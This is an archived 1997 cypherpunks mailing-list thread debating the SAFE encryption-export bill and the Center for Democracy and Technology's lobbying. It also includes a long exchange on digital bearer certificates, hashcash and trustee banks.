>> >>> criticism of one provision.  However the overall statement was of
>>support.
>> >>> (see http://www.privacy.org/ipc/safe_letter.html)
>> >>>
>> >>> As far as I can tell, everyone criticizing the bill either thinks that:
>> >>>
>> >>> 	a) CDT actually runs all these groups behind the scenes, or
>> >>> 	b) pretty much all of the Internet advocates believe that this bill
>> >>>            is needed and are doing the best they can with what
>>Congress has
>> >>>            written.
>> >>>
>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans
>>for Tax
>> >>> Reform, the Association for Computing Machinery, Computer
>>Professionals for
>> >>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>> >>> Defense Lawyers, and PGP Inc all signed this letter.
>> >>>
>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
>> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>> >>> Administration.  Is that the kind of company that cypherpunks keep?
>> >>>
>> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
>> >>>
>> >>>   The pending bill provides a positive framework for the reforms
>>that are
>> >>>   long overdue in this critical area. It makes clear that the sale
>>or use
>> >>> of
>> >>>   encryption, a vital technique to promote network security and
>>individual
>> >>>   privacy, should not be restricted in the United States. This is
>>the view
>> >>>   widely shared by users of the Internet and the computer and
>> >>>communications
>> >>>   industry. It was also a central recommendation of the
>> >>>   report of the National Research Council last year.
>> >>>
>> >>> Looks like widespread support from people who study this issue for
>>living.
>> >>> I'm glad to be counted among them.
>> >>>
>> >>> -S
>> >>>
>> >>> -Shabbir
>> >>>
>> >>>
>>
>>
>>
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Sat, 3 May 1997 00:21:45 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v03007839af8f6a35bc42@[166.84.253.73]>
Message-ID: <v0302090baf8fba2dd2ac@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


This is indeed true - CDT sent a separate letter and signed the IPC letter.

As Marc Rotenberg knows very well, the legislative process is complicated.
Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee
supporters of SAFE chose not to consider any amendments at the subcommittee
markup, but rather to take up our concerns at the full committee.

Goodlatte's staff and the other sponsors of SAFE had worked very hard to
prevent any amendments, hostile *and* friendly, at the subcommittee vote
for fear of hostile amendments from the Administration and opponents of
SAFE in the congress. A bill isn't worth much when it gets to the full
Committee if it gets gutted at the Subcommittee.  Goodlatte wanted to get
some momentum behind it before going into the expected all out fight at the
full committee.

CDT sent a separate letter to the subcommittee members focused on the
subcommittee markup urging the them to pass the bill without amendments.
The IPC letter was deliberately left vague with the intent of focusing on
the full Judiciary committee vote later this month.

We also signed the IPC letter to the full committee urging changes to the
criminal provision, and intend to work to see those changes through.

Jonah


At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote:
>Shabbir is a very good organizer and often very busy, which
>may explain the confusion about the TWO letters that were
>sent out regarding SAFE.
>
>CDT sent a letter to Hon. Howard Conable, the chair of the
>Subcommittee, on April 24 which said that "CDT strongly urges
>you to report H.R. 695, the SAFE Act, out of the Courts
>and Intellectual Property Subcommittee without amendment."
>[The CDT letter is at
>http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>
>EPIC helped coordinate a different letter for the Internet
>Privacy Coalition, which went to Rep. Goodlatte on April
>28 and said
>
>     While expressing our support for the measure, we wish
>     also to state our concern about one provision contained
>     in the bill. We believe that this provision, which would
>     create new criminal penalties for the use of encryption in
>     furtherance of a crime, could undermine the otherwise laudable
>     goals of the legislation. For the reasons set forth below, we
>     recommend that this provision be reconsidered when the Committee
>     considers the bill.
>
>The IPC letter was signed by 26 privacy groups, user organizations,
>private companies, and trade associations. [The IPC letter is
>at http://www.privacy.org/ipc/safe_letter.html ]
>
>
>Marc Rotenberg
>EPIC.
>


* Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Sat, 3 May 1997 04:28:45 +0800
To: Declan McCullagh <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <199705021910.MAA07300@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: Charles Platt <cp@panix.com>
> > From: Jonah Seiger <jseiger@cdt.org>
> >
> > However, despite our concerns about the criminal provisions, we believe
> > strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> > and Leahy, are vitally important and should be passed.
> 
> This kind of "pragmatism" is precisely why I have no faith whatsoever in
> CDT. There's a slippery slope, here, that really IS a slippery slope. As
> soon as you agree with the principle that the legislators can and SHOULD
> pass laws in a certain area, you risk losing large chunks of freedom.

Ok, I think I can agree with your principles, if they are stand-alone.
However, I believe the issue here is not whether your (and Tim's)
principles are correct; instead, the issue here is of time and what
time we have left.  I must point out the following:

    The NSA/FBI is NOT standing still while we are all bickering about
    precisely which dotted-i and crossed-t to support.  They can, at
    the stroke of Clinton's executive order pen, initiate effectively
    THEIR law, while we must gather forces and summon Congress to jump
    through enough hoops to pass effective legislation.

In short, they can get what they want instantly, while we cannot
except through a long and arduous process (during which they can throw
many procedural and lobbying obstacles to slow us down).  The process
is clearly in THEIR favor (and not without good reason), and we must
face that fact.

In an ideal world, when we can stop time for as long as we want to sit
around a table and discuss just what is good and bad legislation, we
can afford to be pure on principle.  However, time is running out
because the longer we wait for ANY legislation to pass, the more
nations the NSA will coerce behind closed doors (and remember, you
have ZERO real ability to affect these slimy maneuvers) in the name of
national security.

It takes just one Om Shinri Kyo (sp?) in any nation to convince its
leaders to pass knee-jerk panic legislation in the name of security,
and it's the fault of politics at the beck and call of human nature
(not just stupid politicians).

> Conversely, so long as the area remains sacrosanct, free of legislation
> (e.g. the content of private mail), the situation remains clear and clean.

NO!  This is totally contrary to the facts!

And I don't understand why you did not respond to this point when I
brought it up earlier.  This area is MOST CERTAINLY NOT free of
legislation.  Have you tried to openly export a IDEA- or 3DES-based
non-key-recovery (real commercial) product lately?  Have you set up an
open, publically announced FTP site where anyone can freely fetch
strong encryption sources?  If not, then explain why, if there is no
legislation on this matter, couldn't you do it?

Just because there isn't an explicit bill somewhere that, in no
uncertain terms, clearly grants or denies a right to Americans, does
not mean that no government agency have any real effective claim on
control of the matter.  Why else would we be having this discussion?

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 3 May 1997 03:38:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Power Blocs in the Crypto Debate
In-Reply-To: <v03007804af8d2de3f630@[207.167.93.63]>
Message-ID: <3.0.1.32.19970502121733.00640a80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 AM 4/30/97 -0800, Tim May wrote:
>              Users of crypto, concerned citizens, the public
>                     Cypherpunks, EFF, ACLU, EPIC, etc.
>                             /
>                            /
>                    Public/Users
>                    /         \
>                   /           \
>                  /             \
>      Corporations  -  -  -  -  Government - - NSA, FBI, military,
>          /                              law enforcement, regulators,
>         /                                    SEC, FCC, etc,
>    PGP, Inc., RSADSI, Cylink
>    Verisign, Netscape, etc.

It's a useful start, but treating corporations as one bloc 
makes it too easy for journalists and government to say things like
"Industry wants <foo>!"

Most corporations are primarily users - they want to protect their own
internal communications and recordkeeping enough for perceived threats,
but they aren't passionate about it - it's just a tool, not a product.
Some corporations, like PGP, selling privacy tools as products,
and most of them want to provide high security with no interference.

Other corporations have a market niche of sucking up to Government,
and trying to create a market for GAKked products - like TIS and Dorothy -
while using the Government to interfere with their competitors;
if a GAKked product increases a user company's security enough that
they're not losing much money on it, they've benefitted substantially,
and most user companies have to tell the government what it wants to know
when it wants to know it anyway, so GAK doesn't hurt them much.

Banks in particular fall into this user category - they really need to keep
from getting ripped off, since their losses are direct and immediate
(unlike, say, intellectual property leaking) - but most US banks
have no illusions that they're maintaining any privacy barriers between
their users and government.

Cellphone companies are a special case - their main privacy concerns
are keeping customers from complaining loudly, but the watered-down
digital encryption standards are enough to reduce eavesdropping,
and there's enough strong crypto to prevent billing fraud.
On the other hand, building an infrastructure that supports wiretapping
can be a big expense, and a big disruption to their network architecture
and operational efficiency, so now you're talking Real Money again.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 03:44:24 +0800
To: Jonah Seiger <cypherpunks@cyberpass.net
Subject: Re: High Ranking Reprsentative pulls support of SAFE...
In-Reply-To: <v03020911af8fcf53cb16@[207.226.3.4]>
Message-ID: <v03007804af8ff82abe1a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 AM -0800 5/2/97, Jonah Seiger wrote:
>Looks like the FBI and thier allies have been playing hardball, and have
>managed to convince a high-ranking Republican member of Congress to buy
>into their ani-cryto reform arguments.
>
>Solomon is the Chairman of the House Rules Committee.
>
>This fight just got a lot tougher.
>
>Jonah

The Feds want more, a lot more. This is their way. Making crypto a
semi-criminalized act was not enough.

Including the Emergency Economic Powers Act and "terrorism" provisions to
limit export was not enough.

At some point, Jonah, you and your colleagues need to figure out what it is
you really stand for. I don't think many of us are under any illusions that
your organizations are grass-roots, basic rights organizations, given that
you're not being funded by the dues-paying memberships of hundreds of
thousands of private  citizens, but, really, it is too much to have a group
with "democracy" so prominently in the name shilling for mere corporate
export approvals.

At least the tobacco lobbyists are honest in the naming of their lobbying
groups. (Not that I have anything against tobacco lobbyists, mind you.
Americans should be free to make their own decisions about what they smoke
or inject.)

Meanwhile, the "Center for Democracy and Technology" went along with the
semi-criminalization of crypto, went along with the EEPA/terrorist/military
use provisions, and what it did get them? The NSA and FBI want more.

Maybe if you throw in your support for crypto use as a basis for obtaining
a search warrant, Solomon and the others will temporarily support SAFE
again...at least until Aaron, Baker, and the others scare him again. Then
maybe you'll have to support "crypto triggers RICO" provisions (after all,
most crypto involves more than one person, which makes it a conspiracy to
avoid detection or wiretapping...)


>----
>                             May 1, 1997
>
>		      OPPOSE HR. 695 "SAFE ACT"
>
>
>Dear Colleague:
>
>Earlier this week, after meeting with officials from Defense and FBI, I
>removed myself as a cosponsor of HR 695.  Allow me to explain some of their
>concerns about this bill.

As with the other "supporters" of the Bill, including the various private
groups like Eagle Forum, National Taxpayer's Union, etc., I suspect most of
these supporters really didn't know what they were supporting. Now that the
Feds are leaning on their friends from one side, and folks like us are
leaning from the other side, support for SAFE is probably evaporating
(isn't it sublime?).



>The Department of Defense believes that HR 695 would increase the export
>threshold for encryption software to a level which would effectively remove
>existing controls.  This would make unbreakable encryption technology
>widely available and "have a negative impact on national security,
>effective law enforcement and public safety".  The FBI opposes the bill
>because, "It would be irresponsible for the U.S. to adopt a policy that
>consciously unleashes widespread, unbreakable, non-key recovery encryption
>products that undermine law enforcement in the United States and worldwide."

What's this about "unleashes...in the United States" bit? Does Solomon
think there are laws limiting crypto in the U.S.? He must think the "use a
cipher, go to prison" provisions are not enough of a restriction on civil
rights in the U.S.


>I also met with Ambassador Aaron (OECD), who pointed out that many of the
>major industrial countries have already approved encryption safeguards and
>the rest are waiting for the United States to act.  He believes HR 695
>would send the worst possible signal to our allies.

Indeed, Aaron has been globe-trotting to get "buy-ins" on a global key
registration infrastructure.

This is why the "reject it all" stance is now more important than ever,
else the rights of U.S. citizens will be sacrificed to international
treaties and misguided legislation like SAFE.


>Lastly, Assistant Attorney General Andrew Fois stated in a letter to
>Chairman Coble, "... the bill would severely compromise law enforcement's
>ability to protect the American people from the threats posed by
>terrorists, organized crime, child pornographers, drug cartels, financial
>predators, hostile foreign intelligence agents, and other criminals... It
>is difficult enough to fight crime without making criminals' tasks any
>easier."

The invocation of the Horsemen of the Infocalypse. Apparently criminalizing
crypto is not enough...they want more. More, more, more.

>In addition to the FBI and DOD the legislation is opposed by the Justice
>Department, Central Intelligence,. the NSA, the National District
>Attorney's Association, the International Association of Chiefs of Police
>and the National Sherrif's Association.  Again, I would ask you to oppose
>HR 695.


This is just another reminder--which I wish you inside-the-Beltway folks
would someday really comprehend--that there is no compromising with
statists. You give them some of what they want, and they demand more.

The NRA learned the hard way, through resignations by many of us, that
compromise rarely works.

(And one gun vendor, Ruger, learned that its support of restriction on
so-called assault weapons backfird, so to speak, as a national boycott of
Ruger's products impacted their business. We can only hope that a "Just say
"No" to PGP" campaign will have a similar effect.)

One last thing. Part of this inside-the-Beltway mindset is the impression,
I believe, that no dissenting opinion exists outside the Beltway. Only when
folks like us denounce SAFE does it become apparent that the giveaways of
basic rights in exchange for "corporate" contributions will not be welcomed.

No personal offense intended, Jonah, but CDT has lost any credibility in
being a "rights" organization. "Center for Democracy and Technology" indeed!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 03:46:31 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Power Blocs in the Crypto Debate
In-Reply-To: <v03007804af8d2de3f630@[207.167.93.63]>
Message-ID: <v03007805af8ffe302853@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:17 AM -0800 5/2/97, Bill Stewart wrote:
>At 10:23 AM 4/30/97 -0800, Tim May wrote:
>>              Users of crypto, concerned citizens, the public
>>                     Cypherpunks, EFF, ACLU, EPIC, etc.
>>                             /
>>                            /
>>                    Public/Users
>>                    /         \
>>                   /           \
>>                  /             \
>>      Corporations  -  -  -  -  Government - - NSA, FBI, military,
>>          /                              law enforcement, regulators,
>>         /                                    SEC, FCC, etc,
>>    PGP, Inc., RSADSI, Cylink
>>    Verisign, Netscape, etc.
>
>It's a useful start, but treating corporations as one bloc
>makes it too easy for journalists and government to say things like
>"Industry wants <foo>!"

Yes, but any analysis able to be quickly comprehended--which is what this
diagram was meant to be a stab at--has to avoid complexification. I could,
for example, split each of these three main legs into multiple subfactions,
or could argue that there are 5, or even more, legs to the diagram.

Saying "industry wants foo" is of course an oversimplification, but, in
fact, we're seeing my analysis somewhat confirmed by the debate over the
SAFE bill. (Though in this case I would move CDT and related groups over to
the "Corporations" side...it was probably a major mistake by me to place
them mostly in the "Users" orbit.)

My point was that the interests of these major blocs rarely coincide, for
various reasons.

Recall--and you were at that meeting, Bill--that Phil Zimmermann despaired
publically over the drift of PGP, Inc. into the orbit of those companies
prepared to sacrifice basic Consitutional rights in exchange for being able
to export (and to sell to government agencies, which I believe is a major,
major factor in PGP, Inc.'s increasing tendencies to abandon the civil
rights origins of "PGP the guerilla program" in favor of "PGP, the tool of
choice for securing the enterprise."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 3 May 1997 03:53:12 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill / Fuck You (an inch at a time)
Message-ID: <199705021934.MAA12088@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705020430.VAA16643@fat.doobie.com>, on 05/01/97 at 10:30 PM,
>    nobody@huge.cajones.com (Huge Cajones Remailer) said:
> 
> >  We put up with crap from our government that we wouldn't accept from
> >someone trying to sell us a mouthwash. The reason that we're not all
> >drinking the "New Coke" is that D.C. has siphoned off all of the spin
> >doctors/brainwashers from the corporate advertising industry.
> 
> Well there must be a few spin-doctors left as we are drinking "New Coke".
> :)
> 
> The whole "New Coke/Orriginal Coke" was one of the best con jobs I have
> ever seen. The Coca-Cola Company had a small problem, the cost of sugar.
> It's compitition was using corn suryp as a sweetner in their products which
> was much cheaper than the sugar Coca-Cola was using in theirs.
> 
> Now how were they going to switch from sugar to corn suryp in Coke without
> lossing a portion of their customers because of the change in taste? NEW
> COKE!!
> 
> Here is what they did:
> 
> Come out with NEW COKE which was a major formula change.
> Drop OLD COKE at the same time.
> Wait a few months while the natives are restless over the change. Bring
> back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good"
> guys). Don't tell anyone that you have switched from sugar to corn suryp
> (the sheep will never notice).
> 
> Vola!! Now Coca-Cola has dramatically increased their profits and won a
> major PR campain (they care about their customers) sales are up costs are
> down and the sheep are happy.
> 
> Now I have NEVER seen the neanderthals in DC ever pull off somthing this
> good. :)

  I guess that if their spin-doctors had been involved in the
cypherpunks
list takeover, that we would all have golden images of Sameer on our
computers.

CokeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Sat, 3 May 1997 00:50:06 +0800
To: cypherpunks@cyberpass.net
Subject: Booby traps, but no anarchist writings
Message-ID: <Pine.BSI.3.92.970502122952.3001A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


>From today's NYT
http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html

          [N] EW YORK -- A Bronx man who booby-trapped his
              apartment with homemade bombs accidentally blew his
          left hand off Thursday morning, the police said,
[snip]
          Just what Saperstein -- who has a criminal record dating
          back to 1983 for weapons possession, disorderly conduct
          and drug possession -- was doing with all the explosives
          puzzled investigators.

          "There's no indication he was involved in any group,"
          said a police investigator, who spoke on the condition
          of anonymity. "There were no rantings or anarchist
          writings of any kind."
[snip]
[end of quoted material]

Good thing this guy didn't have a folder of old cypherpunks messages on a
hard drive!  Then he'd *really* be in trouble I guess.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 01:38:23 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf8e840675e3@[139.167.130.246]>
Message-ID: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:37 am -0400 on 5/2/97, Adam Back wrote:

> It's not an attempt to make money less negotiable, though this is of
> course the effect.

Say no more. :-).


> It's just another approach to avoiding the banking
> regulations.  As you admit the market will take care of the exchange
> mechanism, it just adds inconvenience in locating the exchange
> mechanisms, and the stigma that the mechanisms are not official.

The model I've been talking about, with a trustee bank holding the
book-entry assets for the certificates on the net does exactly this,
without the "inconvenience" of avoiding banking regulations. :-). Occam's
razor.


> So now you get to trust the trustee.  Doesn't seem like a big
> improvement.

Again, you can't have finance without trust. Fortunately, in cypherspace,
reputation is orthogonal to identity. No problem. You have identified
accounts for the underwriters, but you have unidentified users (once the
certificates are on the net) of the cash itself.

> I don't think VISA and friends want anonymous settlement, they like
> comprehensive transaction logs to keep people like FinCEN happy.
> You're not suggesting that SET offers anonymity are you?

By definition, VISA *can't* have anonymous settlement. Modulo anonymous
secured credit accounts, with a tip of the metaphor to Duncan and Co. And,
frankly, FinCEN *itself* can't control a bearer certificate economy, and it
*knows* so. If digital bearer certificates do prove to be, say, 100 times
as efficient to use as book entries, particularly on ubiquitous geodesic
public networks, then FinCEN will be able monitor what comes on and off the
net, but will simply have to <analogy> stand back and let the net.commerce
train go by </anology>. The assistant director of FinCEN as much as
admitted this, on a panel I was on, last fall at the Institute (nee'
Office) of Technology Assessment's conference on the regulation of digital
cash.

Again, folks, this is how to win the crypto fight. Just as faster shipping
killed the idea of royal charters and mercantilism in favor of lazzez faire
capitalism, so to will financial cryptography kill book-entry control
structures and taxation.

As far as SET goes, the only feature in SET that I care about, and
Cybercash has this also, is the ability to "tunnel" transaction messages
through the merchant to the card issuer. I claim the same kind of protocol
can be used to tunnel, an ATM message, through the underwriter, and the
trustee, to the cash purchaser's home bank for authentication. That's all.

> Anyway, I'm not against this initial approach necessarily.  Once
> you've got one non-anonymous electronic payment system with low entry
> costs to obtaining both a merchant and a purchaser, and is widely
> accepted, you can boot strap an anonymous payment system off it.

Precisely. It's an intermediate form. A profitable intermediary form, just
like those proto-wings on  those pond-skimming insects. See why the
metaphor is useful?

> The net model is that it should be that a merchant and a customer
> account are the same, and can be had by filling in a web page in real
> time.  However, aren't they trying to make big bucks out of merchant
> accounts.

I'm not sure what the above means...

> Will SET and Cybercash make it easier to be a merchant than it is to
> be a VISA merchant?  Becoming a credit card merchant is a rather
> onerous expensive, slow process I hear.

Right. However, this isn't like a credit card. You can almost liken an
underwriter to an ATM machine, except that it "prints" cash on the spot.
Yes, I know, the blinding takes place at the purchaser's machine, but the
certificates don't become *negotiable* until the underwriter signs them.
(That, by the way, is why you have to honor patents, because the
underwriter and the trustee, for the time being, are identified, litigable,
meatspace entities. The nice thing is, though, the users of the
certificates are *impossible* to identify.)

Anyway, the point is, modulo licensing the blind signature patent, which
Digicash should do, and probably won't (this week, anyway), being an actual
underwriter is more a question of marketing than anything else. Anyone with
a 486 (the original mint ran on one of these) and a full-time internet feed
could do it.

Takes a little more work to be a bank. Part of that work is adhering to all
that meatspace regulation, but, frankly, holding the float account is no
different from holding any other trust account. That, as they say in the
Great White North, is the beauty part. Much easier than growing a mouse in
a beer bottle, eh?

> You lost me there.  Above you described the trustee's function as
> holding the ability to issue money to keep the bank honest.  What _is_
> a bearer certificate in this discussion?  A digitally signed share
> certificate, or other representation of an unit of value?
>

The trustee holds assets, in trust, which are used to capitalize the
digital bearer certificates issued the underwriter.

For instance, in the corporate bearer bond market, there were three people
involved in issuing the bond, besides the eventual purchaser of the bond.
There was the corporation, like IBM, or GE, or US Steel, say, which was
issuing the bond. There was the underwriter, an investment bank, in other
words, who sold the bond into the primary market, usually to brokers who in
turn sold them to their clients. There was the trustee, a bank who actually
handled the cash payments from the issuing corporation to the holders of
the bond, and technically worked on behalf of the bond holders. On the day
the interest was payable, the corporation cut a check to the trustee, who
in turn cut checks to people who mailed in the little coupons they clipped
off the bond every quarter.

In the case of a book-entry trustee, the underwriter markets digital bearer
certificates, cash in this case, to the public, in exchange for a book
entry asset, money transferred through the ATM/Swift system to the
underwriter's collateral account at the trustee bank. The money sits at the
trustee bank until someone takes that money off the net by exchanging a
digital bearer certificate for an ATM deposit transaction to the redeemer's
bank.

Now, sometime in the future, when there are other assets in bearer form on
the net besides cash, like digital bearer bonds, or digital bearer stock,
or commodities contracts, or derivatives thereof, it's easy to see how you
could create a trustee which holds *those* kinds of assets instead of
deposits on account somewhere in meatspace. In fact, I claim, because
identity and reputation are orthogonal in cypherspace, that such a trustee,
and thus, every party in the underwriting process, including the
underwriter, *and* the development of any future bearer certificate
cryptographic protocol, can be *anonymous*, that is, identity-free. Though,
of course, they'd all have to use perfect pseudonyms.

> Who issues the bearer certificates?

The underwriter.

> What does possesion of the bearer
> certificate represent in terms of ownership of assetts?

The face value of the digital bearer certificate. For example, with a
traveller's check, you buy at a premium, so that the person you give the
check to can redeem them at face value, or "par", in bond language. Yes,
unless the agreement between you and the issuer, as enforced by the
trustee, specifies that the certificate must be backed up one for one by
the assets in the reserve account, held by the trustee bank, then the
issuer has the right to take some of that money and invest it in something
else, and not just take the interest it accrues while it sits in the
trustee's account. For the most part, the particulars about what that money
is used for will be subject to market constraints. For instance, if money
goes onto the net and stays there and never leaves, then, in an effort to
compete, an issuer might offer lower issuing fees, even discounting the
price of the certificates at issue, because he's going to make it up
eventually, in the interest and other returns he gets for investing some or
all of that money. However, all that's probably too messy to mess around
with here. If you're interested, ( a little bond humor, there), go dig up a
book on corporate finance (Brealy and Meyers was a good one, once), or
fixed income mathematics (Fabbozzi's was the best, last time I looked).

> Actually it's micromint which has the threshold function feature
> through use of k-way hashes, my hash cash is quite simple, and
> probably impractical to use as a basis for a currency you wished to
> connect to a real currency.  There is a cost of printing hashcash
> coins, which can be made high (say a weeks CPU for a P100), but
> basically anyone can mint all the money they have CPU power for.  This
> is interesting for throttling systematic abuse of limited net
> resources, and combining with a digicash system you could have
> transferability as well as anonymity.  However the stability of the
> money supply is probably not up to it.  It's kind of like allowing
> anyone to print money, but making it cost them in time only; the
> resources they already have.

It's exactly like that, and that's why I find the idea so attractive. :-).

> You think you can create a digital bearer certificate market on the
> back of your architecture of issuers, and trustees.  I don't see a
> great difference between this and a traditional bank.

That's the point. Reality, financial or otherwise, is not optional. :-).

> How is it going
> to reduce the per transaction overhead, and how is it in any way
> distributed.  (I presume your term "geodisic" refers to a distributed
> value transfer system).

The geodesity happens on the other side of the trustee. On the net itself.
Once you get the money on the net, you can do all *kinds* of fun things
there with it, and, eventually, it'll never have to leave, because, I
claim, all financial assets, (stocks, bonds, notes, commodities contracts,
derivatives) will be held in digital bearer form someday. It'll be too
cheap not to.

<beating-a-metaphor-like-a-dead-horse-mode>

What we're doing at first is creating financial pond skimmers, net-based
entities, in the same way that pond skimmers are air-based entities, who
use financial cryptography and digital bearer certificates as proto-wings
to aerodynamically flit around on the surface tension of the existing
hierarchical book-entry finance system. Waterborne predators, like FinCEN,
can't catch them, and the predators don't care, really.  Because, sooner or
later, these pond skimmers will have to breed (take the money off the net),
which means laying eggs in the water, and, of course, that's where the
larval pond skimmers live. :-).

Of course, evolution on the net is much faster than real life. So, someday,
soon,  those financial cryptography pond skimmers will have wings and not
rely on surface tension (book-entries) at all, and, someday after that,
they won't even need water(meatspace) to hatch into. By that time,
obviously, there'll be a whole *new* class of predators to worry about, but
they haven't even been invented yet.

</dead-horse>


> What is an ACH transaction?  A electronic bank clearing protocol?
> FSTC is Financial Securities Trading... electronic checks?

ACH: Automated Clearinghouse. FSTC: Financial Services Technology Consortium.


> Isn't this going to be just another electronic check, with full
> transaction log, and associated overhead, banking regulations giving
> banks enough effective monopoly to charge high handling fees?

Yup. But the neat thing about them is they take pennies to clear, instead
of quarters for paper checks. The other thing is, they're peer-to-peer.
Credit cards aren't, remember? When was the last time you sold a car or
house and took MasterCard in payment. :-).

> I don't
> find electronic checks that interesting.

Yeah. You're a "wings" person. So am I, obviously. However, I think of FSTC
(or any other) electronic checks, or Cybercash/coin, or even FV, and
barely, SSL/SET, as "legs" which are just long enough to let the surface
tension of the banking system hold us up, so we can do transactions in
cypherspace.

> What we want is fully anonymous, ultra low transaction cost,
> transferable units of exchange.

Amen.

> If we get that going (and obviously
> there are some people trying DigiCash, and a couple of others), the
> banks will become the obsolete dinasaurs they deserve to become.

Wellll... Depends on what you call a "bank" I suppose. I would claim that,
more than anything else, a trustee in my model is a bank, whether its
assets are digital bearer or not. I won't quibble with you about it,
though. A bank is a type of financial intermediary. Someone who risks
reputation in return for interest, or other profit of somekind. You can't
have finance, and thus trade and economics, without financial
intermediaries. Might as well call some kinds of them "banks", whether they
live on the net or not.

> I
> think this would be a good outcome, and I'd rather see this happen
> than see anyone go to any great effort to get the banks involved.  Let
> them stick to electronic "cash" systems (what a misuse of the word)
> based on credit cards and checks.  See how that survives against
> _real_ distributed electronic cash with transaction costs 10 to 100
> times lower, with 0 red tape barriers to entry for both sellers and
> buyers.

Well, the consequence of book-entry transactions, of course, is the
interference of the nation-state, because that's your anti-repudiation
mechanism. Book-entry banks need nation-states, or force monopolies of
somekind, to exist. However, the net represents a whole new financial
biome, if you will. A biome where book-entries, like fins, are too slow to
fly with. :-).

> The net is becoming more and more important as an mechanism for
> information exchange in it's own right.  This is why I think just
> cutting the ties with the physical world and having a payment system
> working now would be interesting.

Certainly the sooner the better. However, you still have to get those
assets on the net in negotiable form. That's why you need to use good old
fashioned book-entry banks to make your assets negotiable. It's like
punching paper numbers into a spreadsheet when you can download a file from
the mainframe. Yes. Mainframes sucked. But that's where the data was.

> Deployment wins and all that.
> Hashcash is completely distributed; there is NO bank.  You can not
> forge hash cash, you can not double spend hash cash.  You can print as
> much hashcash as you have CPU time for.  You can resell hashcash for
> real money on an unoffical exchange, or trade hashcash for different
> services.

Way cool. So, how, if you're going to issue hashcash denominated in
dollars, are you going to convert them into actual dollars? Are you going
to put up a physical deposit window and take in bills somewhere? :-).
Wouldn't it be nice for someone to swipe their ATM card into a reader on
their machine using your web page, and get hashcash?

To do that, you need a trustee bank.

> I don't see any particular inherent reason why an electronic payment
> protocol can't be designed which requires no trust of the bank; at
> least it should be possible to arrange it so that the bank minting
> funds for it's own use will be detected.  All you need is that the
> protocol is publically verifiable.  Digicash already prevents double
> spending through the database of protocoins.
